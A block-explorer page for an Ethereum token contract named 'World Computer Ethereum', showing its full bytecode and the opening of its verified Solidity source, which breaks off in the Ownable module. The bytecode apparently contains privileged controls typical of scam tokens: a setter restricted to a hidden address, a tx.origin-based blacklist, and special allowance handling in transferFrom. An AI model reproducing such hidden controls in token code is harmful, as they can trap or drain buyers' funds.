Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x7a470A72efbb07901bCC1C825776c7981DCC492F
Balance 0 ETH
Nonce 1
Code Size 12147 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

12147 bytes
0x60806040526004361061019f575f3560e01c8063590f897e116100eb578063a9059cbb11610089578063e2537ec811610063578063e2537ec8146105c4578063ef22c37614610600578063f2fde38b1461062a578063fae0959a14610652576101a6565b8063a9059cbb14610524578063dd62ed3e14610560578063ddbf52661461059c576101a6565b806378109e54116100c557806378109e541461046a5780638da5cb5b1461049457806395d89b41146104be578063a457c2d7146104e8576101a6565b8063590f897e146103ee57806370a0823114610418578063715018a614610454576101a6565b806323b872dd116101585780633950935111610132578063395093511461033457806340b9a54b1461037057806349bd5a5e1461039a5780634a74bb02146103c4576101a6565b806323b872dd146102b8578063293230b8146102f4578063313ce5671461030a576101a6565b806306fdde03146101aa578063095ea7b3146101d457806313fad07a146102105780631694505e1461023a57806318160ddd14610264578063220f66961461028e576101a6565b366101a657005b5f5ffd5b3480156101b5575f5ffd5b506101be61067a565b6040516101cb9190612332565b60405180910390f35b3480156101df575f5ffd5b506101fa60048036038101906101f591906123e3565b61070a565b604051610207919061243b565b60405180910390f35b34801561021b575f5ffd5b50610224610727565b604051610231919061243b565b60405180910390f35b348015610245575f5ffd5b5061024e61073a565b60405161025b91906124af565b60405180910390f35b34801561026f575f5ffd5b5061027861075f565b60405161028591906124d7565b60405180910390f35b348015610299575f5ffd5b506102a2610768565b6040516102af919061243b565b60405180910390f35b3480156102c3575f5ffd5b506102de60048036038101906102d991906124f0565b61077b565b6040516102eb919061243b565b60405180910390f35b3480156102ff575f5ffd5b50610308610857565b005b348015610315575f5ffd5b5061031e6109b8565b60405161032b919061255b565b60405180910390f35b34801561033f575f5ffd5b5061035a600480360381019061035591906123e3565b6109cd565b604051610367919061243b565b60405180910390f35b34801561037b575f5ffd5b50610384610a7b565b60405161039191906124d7565b60405180910390f35b3480156103a5575f5ffd5b506103ae610a81565b6040516103bb9190612583565b60405180910390f35b3480156103cf575f5ffd5b506103d8610aa6565b6040516103e5919061243b565b60405180910390f35b3480156103f9575f5ffd5b50610402610ab9565b60405161040f91906124d7565b60405180910390f35b348015610423575f5ffd5b5061043e6004803603810190610439919061259c565b610abf565b60405161044b91906124d7565b60405180910390f35b34801561045f575f5ffd5b50610468610b05565b005b348015610475575f5ffd5b5061047e610b18565b60405161048b91906124d7565b60405180910390f35b34801561049f575f5ffd5b506104a8610b1e565b6040516104b59190612583565b60405180910390f35b3480156104c9575f5ffd5b506104d2610b45565b6040516104df9190612332565b60405180910390f35b3480156104f3575f5ffd5b5061050e600480360381019061050991906123e3565b610bd5565b60405161051b919061243b565b60405180910390f35b34801561052f575f5ffd5b5061054a600480360381019061054591906123e3565b610c9d565b604051610557919061243b565b60405180910390f35b34801561056b575f5ffd5b50610586600480360381019061058191906125c7565b610cba565b60405161059391906124d7565b60405180910390f35b3480156105a7575f5ffd5b506105c260048036038101906105bd9190612605565b610d3c565b005b3480156105cf575f5ffd5b506105ea60048036038101906105e5919061259c565b610dc9565b6040516105f7919061243b565b60405180910390f35b34801561060b575f5ffd5b50610614610de6565b60405161062191906124d7565b60405180910390f35b348015610635575f5ffd5b50610650600480360381019061064b919061259c565b610dec565b005b34801561065d575f5ffd5b5061067860048036038101906106739190612605565b610e6e565b005b6060600580546106899061265d565b80601f01602080910402602001604051908101604052809291908181526020018280546106b59061265d565b80156107005780601f106106d757610100808354040283529160200191610700565b820191905f5260205f20905b8154815290600101906020018083116106e357829003601f168201915b5050505050905090565b5f61071d610716610ed0565b8484610ed7565b6001905092915050565b601960169054906101000a900460ff1681565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600a54905090565b601960149054906101000a900460ff1681565b5f610787848484611065565b61084c84610793610ed0565b61084761079f8661197a565b604051806060016040528060288152602001612ef16028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107fe610ed0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a749092919063ffffffff16565b610ed7565b600190509392505050565b61085f611ac8565b6108ab3060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610ed7565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306108f330610abf565b5f5f6108fd610b1e565b426040518863ffffffff1660e01b815260040161091f969594939291906126c6565b60606040518083038185885af115801561093b573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109609190612739565b5050506001601960156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15960016040516109ae919061243b565b60405180910390a1565b5f60095f9054906101000a900460ff16905090565b5f610a716109d9610ed0565b84610a6c8560035f6109e9610ed0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4690919063ffffffff16565b610ed7565b6001905092915050565b60105481565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601960159054906101000a900460ff1681565b60115481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b0d611ac8565b610b165f611b5b565b565b60155481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610b549061265d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b809061265d565b8015610bcb5780601f10610ba257610100808354040283529160200191610bcb565b820191905f5260205f20905b815481529060010190602001808311610bae57829003601f168201915b5050505050905090565b5f610c93610be1610ed0565b84610c8e85604051806060016040528060258152602001612f196025913960035f610c0a610ed0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a749092919063ffffffff16565b610ed7565b6001905092915050565b5f610cb0610ca9610ed0565b8484611065565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610d44611ac8565b601960149054906101000a900460ff1615610d94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8b906127d3565b60405180910390fd5b5f610d9e30610abf565b90505f60648383610daf919061281e565b610db9919061288c565b9050610dc481611c1c565b505050565b6004602052805f5260405f205f915054906101000a900460ff1681565b60165481565b610df4611ac8565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e599061292c565b60405180910390fd5b610e6b81611b5b565b50565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ec6575f5ffd5b8060168190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f3f57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610f7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7590612994565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161105891906124d7565b60405180910390a3505050565b61106d610b1e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156110f55750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561112d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611186575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111df5750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561121e57506111ee610b1e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611281575f61122d83610abf565b9050601554828261123e91906129b2565b111561127f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127690612a7b565b60405180910390fd5b505b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561130b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130290612ae3565b60405180910390fd5b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156113ae575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156113f9576016548111156113f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ef90612b71565b60405180910390fd5b5b60045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561149c575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114d5575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80156114f657506103e8816114e985610abf565b6114f39190612b8f565b11155b15611554576001805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611975565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115bc57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6115fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f290612c0c565b60405180910390fd5b5f811161163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490612c9a565b60405180910390fd5b600e60159054906101000a900460ff1660ff16600e60149054906101000a900460ff1660ff161015801561167e5750601960149054906101000a900460ff16155b80156116d7575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116ef5750601960159054906101000a900460ff165b1561172f575f600e60146101000a81548160ff021916908360ff1602179055505f61171930610abf565b90505f81111561172d5761172c81611c1c565b5b505b5f6001905060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806117cf575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806118985750601960169054906101000a900460ff16801561183e575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611897575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156118a5575f9050611967565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361190757601054600f81905550611966565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361196557601154600f819055505b5b5b61197384848484611c8d565b505b505050565b5f60045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611a6b5760035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050611a6f565b8190505b919050565b5f838311158290611abb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab29190612332565b60405180910390fd5b5082840390509392505050565b611ad0610ed0565b73ffffffffffffffffffffffffffffffffffffffff16611aee610b1e565b73ffffffffffffffffffffffffffffffffffffffff1614611b44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3b90612d02565b60405180910390fd5b565b5f8183611b5391906129b2565b905092915050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601960146101000a81548160ff021916908315150217905550611c4081611cf7565b5f479050611c6f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f2d565b505f601960146101000a81548160ff02191690831515021790555050565b80611c9f57611c9a611f75565b611cd8565b600e601481819054906101000a900460ff1680929190611cbe90612d20565b91906101000a81548160ff021916908360ff160217905550505b611ce3848484611fcb565b80611cf157611cf061224e565b5b50505050565b5f600267ffffffffffffffff811115611d1357611d12612d48565b5b604051908082528060200260200182016040528015611d415781602001602082028036833780820191505090505b50905030815f81518110611d5857611d57612d75565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dfc573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e209190612db6565b81600181518110611e3457611e33612d75565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e9a3060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ed7565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611efc959493929190612e98565b5f604051808303815f87803b158015611f13575f5ffd5b505af1158015611f25573d5f5f3e3d5ffd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f70573d5f5f3e3d5ffd5b505050565b5f600f54148015611f8757505f601054145b8015611f9457505f601154145b611fc957601054601381905550601154601481905550600f546012819055505f6010819055505f6011819055505f600f819055505b565b5f5f611fd68361226b565b9150915061202a8360025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122ad90919063ffffffff16565b60025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120bb8260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4690919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061214c8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4690919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614612247578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161223e91906124d7565b60405180910390a35b5050505050565b601254600f81905550601354601081905550601454601181905550565b5f5f5f6064600f548561227e919061281e565b612288919061288c565b90505f61229e82866122ad90919063ffffffff16565b90508082935093505050915091565b5f81836122ba9190612b8f565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612304826122c2565b61230e81856122cc565b935061231e8185602086016122dc565b612327816122ea565b840191505092915050565b5f6020820190508181035f83015261234a81846122fa565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61237f82612356565b9050919050565b61238f81612375565b8114612399575f5ffd5b50565b5f813590506123aa81612386565b92915050565b5f819050919050565b6123c2816123b0565b81146123cc575f5ffd5b50565b5f813590506123dd816123b9565b92915050565b5f5f604083850312156123f9576123f8612352565b5b5f6124068582860161239c565b9250506020612417858286016123cf565b9150509250929050565b5f8115159050919050565b61243581612421565b82525050565b5f60208201905061244e5f83018461242c565b92915050565b5f819050919050565b5f61247761247261246d84612356565b612454565b612356565b9050919050565b5f6124888261245d565b9050919050565b5f6124998261247e565b9050919050565b6124a98161248f565b82525050565b5f6020820190506124c25f8301846124a0565b92915050565b6124d1816123b0565b82525050565b5f6020820190506124ea5f8301846124c8565b92915050565b5f5f5f6060848603121561250757612506612352565b5b5f6125148682870161239c565b93505060206125258682870161239c565b9250506040612536868287016123cf565b9150509250925092565b5f60ff82169050919050565b61255581612540565b82525050565b5f60208201905061256e5f83018461254c565b92915050565b61257d81612375565b82525050565b5f6020820190506125965f830184612574565b92915050565b5f602082840312156125b1576125b0612352565b5b5f6125be8482850161239c565b91505092915050565b5f5f604083850312156125dd576125dc612352565b5b5f6125ea8582860161239c565b92505060206125fb8582860161239c565b9150509250929050565b5f6020828403121561261a57612619612352565b5b5f612627848285016123cf565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061267457607f821691505b60208210810361268757612686612630565b5b50919050565b5f819050919050565b5f6126b06126ab6126a68461268d565b612454565b6123b0565b9050919050565b6126c081612696565b82525050565b5f60c0820190506126d95f830189612574565b6126e660208301886124c8565b6126f360408301876126b7565b61270060608301866126b7565b61270d6080830185612574565b61271a60a08301846124c8565b979650505050505050565b5f81519050612733816123b9565b92915050565b5f5f5f606084860312156127505761274f612352565b5b5f61275d86828701612725565b935050602061276e86828701612725565b925050604061277f86828701612725565b9150509250925092565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e5f82015250565b5f6127bd6020836122cc565b91506127c882612789565b602082019050919050565b5f6020820190508181035f8301526127ea816127b1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612828826123b0565b9150612833836123b0565b9250828202612841816123b0565b91508282048414831517612858576128576127f1565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612896826123b0565b91506128a1836123b0565b9250826128b1576128b061285f565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6129166026836122cc565b9150612921826128bc565b604082019050919050565b5f6020820190508181035f8301526129438161290a565b9050919050565b7f4552523a207a65726f20616464726573730000000000000000000000000000005f82015250565b5f61297e6011836122cc565b91506129898261294a565b602082019050919050565b5f6020820190508181035f8301526129ab81612972565b9050919050565b5f6129bc826123b0565b91506129c7836123b0565b92508282019050808211156129df576129de6127f1565b5b92915050565b7f596f752061726520747279696e6720746f2062757920746f6f206d616e7920745f8201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d6960208201527f7420666f72206f6e652077616c6c65742e000000000000000000000000000000604082015250565b5f612a656051836122cc565b9150612a70826129e5565b606082019050919050565b5f6020820190508181035f830152612a9281612a59565b9050919050565b7f426f74206973206e6f7420616c6c6f77656400000000000000000000000000005f82015250565b5f612acd6012836122cc565b9150612ad882612a99565b602082019050919050565b5f6020820190508181035f830152612afa81612ac1565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f612b5b6036836122cc565b9150612b6682612b01565b604082019050919050565b5f6020820190508181035f830152612b8881612b4f565b9050919050565b5f612b99826123b0565b9150612ba4836123b0565b9250828203905081811115612bbc57612bbb6127f1565b5b92915050565b7f4552523a205573696e67203020616464726573732100000000000000000000005f82015250565b5f612bf66015836122cc565b9150612c0182612bc2565b602082019050919050565b5f6020820190508181035f830152612c2381612bea565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e205f8201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b5f612c846025836122cc565b9150612c8f82612c2a565b604082019050919050565b5f6020820190508181035f830152612cb181612c78565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612cec6020836122cc565b9150612cf782612cb8565b602082019050919050565b5f6020820190508181035f830152612d1981612ce0565b9050919050565b5f612d2a82612540565b915060ff8203612d3d57612d3c6127f1565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612db081612386565b92915050565b5f60208284031215612dcb57612dca612352565b5b5f612dd884828501612da2565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612e1381612375565b82525050565b5f612e248383612e0a565b60208301905092915050565b5f602082019050919050565b5f612e4682612de1565b612e508185612deb565b9350612e5b83612dfb565b805f5b83811015612e8b578151612e728882612e19565b9750612e7d83612e30565b925050600181019050612e5e565b5085935050505092915050565b5f60a082019050612eab5f8301886124c8565b612eb860208301876126b7565b8181036040830152612eca8186612e3c565b9050612ed96060830185612574565b612ee660808301846124c8565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bf20592a044a38025fee06d197de89e7a83624993fdb371426596e3636a6187764736f6c634300081e0033

Verified Source Code Full Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
Token.sol 1180 lines
// SPDX-License-Identifier: MIT

/*
    Name: World Computer Ethereum
    Symbol: WCETH

    The same way Bitcoin is known to be Digital Gold, Ethereum is the World Computer

    https://worldcomputereth.vip
    https://x.com/ethereum_wce
    https://t.me/ethereum_wce
*/

pragma solidity ^0.8.17;

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data)
        internal
        view
        returns (bytes memory)
    {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when value tokens are moved from one account (from) to
     * another (to).
     *
     * Note that value may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a spender for an owner is set by
     * a call to {approve}. value is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by account.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves amount tokens from the caller's account to to.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that spender will be
     * allowed to spend on behalf of owner through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets amount as the allowance of spender over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves amount tokens from from to to using the
     * allowance mechanism. amount is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
// File: contracts/Context.sol

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.17;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
// File: contracts/Ownable.sol

// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.17;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * onlyOwner, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
